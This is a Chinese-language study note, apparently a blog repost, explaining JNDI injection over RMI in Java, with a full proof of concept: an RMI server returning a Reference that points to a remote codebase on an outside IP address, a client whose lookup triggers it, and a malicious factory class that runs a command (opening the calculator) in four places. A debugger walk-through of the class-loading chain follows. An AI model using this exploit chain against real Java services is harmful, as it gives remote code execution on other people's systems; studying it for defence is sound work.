JNDI注入学习笔记

JNDI注入学习笔记

  • 前言
  • 什么是JNDI
  • References和ReferenceWrapper
  • RMI-JNDI注入
  • 总结

前言

前面我们知道了RMI的一些机制,今天我们来学一学JNDI注入

什么是JNDI

jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图
JNDI注入学习笔记_第1张图片
我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。

JNDI注入学习笔记_第2张图片
在JNDI中提供了绑定和查找的方法:

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象

References和ReferenceWrapper

Reference类表示对存在于命名/目录系统以外的对象的引用,因此通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。

javax.naming.Reference构造方法为:

Reference(String className, String factory, String factoryLocation),

className - 远程加载时所使用的类名
classFactory - 加载的class中需要实例化类的名称
classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

RMI-JNDI注入

package JNDI_Inesrct;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Calc", "Calc", "http://42.193.22.50:1234/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("hello", refObjWrapper);
    }
}
package JNDI_Inesrct;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/hello";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
        return null;
    }
}

这里的Calc.java要把它编译成class文件,然后放到自己的云服务器上。该恶意代码一共会弹4次计算器。

下面开始分析下它的流程,先看看整体调用栈
JNDI注入学习笔记_第3张图片
那我们开始分析下,前面几个lookup就不看了,是获取上下文信息的,主要讲后面的关键几步,我们从decodeObject开始看
JNDI注入学习笔记_第4张图片
这里是将从服务端返回的ReferenceWrapper_Stub存根传入该函数
JNDI注入学习笔记_第5张图片
这里利用ReferenceWrapper_Stub执行getReference()获得了一个Reference对象

接着我们跟入getObjectInstance(),此处为获取Factory类的实例。
JNDI注入学习笔记_第6张图片
319行这里调用了getObjectFactoryFromReference(),我们跟进getObjectFactoryFromReference()
JNDI注入学习笔记_第7张图片
146行处clas = helper.loadClass(factoryName);尝试从本地加载Factory类,如果本地不存在此类,158行处则会从codebase中加载:clas = helper.loadClass(factoryName, codebase),从远程加载我们恶意class

我们跟进158行的loadclass看看
JNDI注入学习笔记_第8张图片
可以看到他是通过URLClassLoader从远程动态加载我们的恶意类。
继续跟入loadclass()
JNDI注入学习笔记_第9张图片
这里调用了forname,就会加载这个类,从而执行到static方法可以进行第一次命令执行。

继续调式回到getObjectFactoryFromReference()
JNDI注入学习笔记_第10张图片
在return那里return (clas != null) ? (ObjectFactory) clas.newInstance() : null;对我们的恶意类进行一个实例化,这里执行完就会调用代码块和无参构造方法,弹出两个计算器

JNDI注入学习笔记_第11张图片
继续执行会调用getObjectInstance方法,这里还会弹出一个计算器
JNDI注入学习笔记_第12张图片

总结

上面的例子有两处源代码可被我们直接利用,我们主要是通过上面的调试,体会一下利用JNDI注入通过Reference加载远程的Factory类的流程,更方面于我们理解上面提到的知识点。而LDAP相关的攻击和RMI差不多,感兴趣的可以看看下面的参考文章有提到

调用链

lookup->decodeObject->getObjectFactoryFromReference->getObjectFactoryFromReference->loadclass->URLClassLoader.newInstance->loadclass->forname
lookup->decodeObject->getObjectFactoryFromReference->getObjectFactoryFromReference->loadclass->URLClassLoader.newInstance->loadclass->forname->newInstance()

参考文章
https://blog.csdn.net/u011479200/article/details/108246846
https://www.cnblogs.com/yyhuni/p/15083613.html
https://xz.aliyun.com/t/8214

你可能感兴趣的:(基础知识,Java,java,安全,json)